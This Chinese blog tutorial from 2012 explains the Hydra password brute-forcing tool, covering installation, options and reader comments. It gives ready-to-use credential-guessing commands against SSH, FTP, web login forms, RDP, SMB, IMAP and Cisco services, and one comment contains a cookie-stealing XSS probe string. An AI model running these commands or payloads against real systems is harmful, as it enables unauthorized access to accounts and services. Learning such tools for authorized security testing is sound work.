• 欢迎访问极客公园网站,WordPress信息,WordPress教程,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站,欢迎加入极客公园 QQ群
  • Git主题现已支持滚动公告栏功能,兼容其他浏览器,看到的就是咯,在后台最新消息那里用li标签添加即可。
  • 最新版Git主题已支持说说碎语功能,可像添加文章一样直接添加说说,新建说说页面即可,最后重新保存固定连接,演示地址
  • 百度口碑求点赞啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊http://koubei.baidu.com/s/gitcafe.net
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏极客公园吧

(总结)Linux下的暴力密码在线破解工具Hydra详解

原创总结 博客教主 12年前 (2012-12-04) 47558次浏览 21个评论

PS:这款暴力密码破解工具相当强大,支持几乎所有协议的在线密码破解,其密码能否被破解关键在于字典是否足够强大。对于社会工程型渗透来说,有时能够得到事半功倍的效果。本文仅从安全角度去探讨测试,使用本文内容去做破坏者,与本人无关。

一、简介

hydra是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码。官网:http://www.thc.org/thc-hydra,可支持AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等类型密码。

二、安装

如果是Debian和Ubuntu发行版,源里自带hydra,直接用apt-get在线安装:
sudo apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev hydra

Redhat/Fedora发行版的下载源码包编译安装,先安装相关依赖包:
yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel

hydra下载地址:http://www.thc.org/releases/hydra-7.3.tar.gz

# tar zxvf hydra-7.0-src.tar.gz
# cd hydra-7.0-src
# ./configure
# make
# make install

hydra支持GUI图形界面,不过习惯还是命令好用。

三、参数说明

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。
server 目标ip
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。
OPT 可选项

四、各种用法实例

简单演示:

破解成功,直接显示结果,上图画红线的地方就是破解出来的密码,也可以通过参数-o输出到文件里。如果字典够强大,结合社工,密码不用很久就出来。

1、破解ssh:

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh

2、破解ftp:

hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

3、get方式提交,破解web登录:

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php

4、post方式提交,破解web登录:

hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"


hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>"

(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示。)

5、破解https:

hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https

6、破解teamspeak:

hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

7、破解cisco:

hydra -P pass.txt 10.36.16.18 cisco
hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

8、破解smb:

hydra -l administrator -P pass.txt 10.36.16.18 smb

9、破解pop3:

hydra -l muts -P pass.txt my.pop3.mail pop3

10、破解rdp:

hydra ip rdp -l administrator -P pass.txt -V

11、破解http-proxy:

hydra -l admin -P pass.txt http-proxy://10.36.16.18

12、破解imap:

hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN


极客公园 , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:(总结)Linux下的暴力密码在线破解工具Hydra详解
喜欢 (0)

您必须 登录 才能发表评论!

(21)个小伙伴在吐槽
  1. 有毛笔优盾。
    XXOXX2012-12-05 00:21
  2. 这个东西字典表很重要,曾经尝试着玩过。没有太大的字典表,于是选了用hydra自己按一定规则生成破解密码,不过需要的时间相当长。
    ocean2012-12-05 10:21
  3. 有空研究一下
    huangyu2012-12-11 14:29
  4. 你好, 我看了您的blog,受益良多,谢谢。 我对一个https的网站进行测试,但是总是返回多个密码都是可用的,但实际上只有一个密码是对的。把信息贴一下,希望得到您的指点: 首先,目标网站的部分html代码: TEST V0.9 用户: 密码: <!--记住我--> 然后,我的hydra命令是这样写的: hydra -l admin -P john.txt -V -S4 -m /login xxx.xxxx.com https-post-form "/login:user=username&pass=password:incorrect" 服务器使用的是nginx,所以没有使用IP地址,而是使用的url; 返回的结果,如下: [443][www-form] host: 114.255.222.xxx login: admin password: password [443][www-form] host: 114.255.222.xxx login: admin password: 12345 [443][www-form] host: 114.255.222.xxx login: admin password: abc123 ... ... 希望博主不吝指教, 谢谢。
    winlin2012-12-11 19:54
  5. 之前用,meduas可能功能不够这个齐全吧,不过支持的暴力类型模块还是挺多的
  6. medus一样有同样的功能
  7. 现在不少服务器都有防破解的措施,好比同IP输错密码三次被屏蔽,估计也不好弄
  8. 不错的站点,学习中、
    纪名松2013-02-22 14:24
  9. 问题是字典表从何而来啊,这个是关键吧
    天外飞仙2013-03-06 10:05
  10. 楼主,请问破解http post页面的密码时,最后的那个参数,也就是错误信息怎么得到呢?是输入错误密码后返回的显示页面中的提示语“密码或用户名错误”吗?我的字典里面包含了测试用的正确的用户名和密码,但是测试结果要么是所有的配对都错误,要么就都正确,这是为什么啊?没理由啊
    aab2013-04-02 23:25
  11. Test
    a2013-04-20 13:59
  12. 穷举法。。。被攻击端针对单用户采取验证间隔10S甚至更长,那么一分钟才能试6个,一天才试8640,达不到穷举,哭死去!
    爸爸2013-04-24 13:48
  13. 这个不错,备用了
    LokiSharp2013-04-24 23:42
  14. 如果可以集群破解,那么将会很强大。 其实现在 我就在纠结 winrar 的密码破解问题。。。
    ayanmw2013-08-01 18:31
  15. test
    testalert(document.cookie)2013-08-23 17:22
  16. 不错,很强大
    城管实习大叔2014-09-25 09:47
  17. 闹不懂,为什么会不准,一个用户对 多个密码..
    yzs2015-01-30 01:52
  18. 非要跑完密码字典才出来结果~_~
    mugbya2015-05-14 11:29
  19. 我用hydra爆破用户密码时,为什么在[data]这一行显示attacking service smb on port 445 这种情况什么原因,怎么改啊
    Rocky2016-06-29 10:50
  20. 有没有关于批量的文章~
    倒念2017-10-06 23:39
  21. 我觉得字典是好列的,关键是这个速度怎么样。 字典也就0-9,a-z,A-Z,另外加几个特殊字符。 10+26+26=62,在不知道密码不知道是多少位的情况下, 62+62^2+62^3+...+62^n=[62-62^(n+1)]/(1-62) 假如运算到15位就是:7.8*10^26 假如每秒钟测试10次就是需要:2.5*10^18年 不科学啊!
    12017-10-28 16:50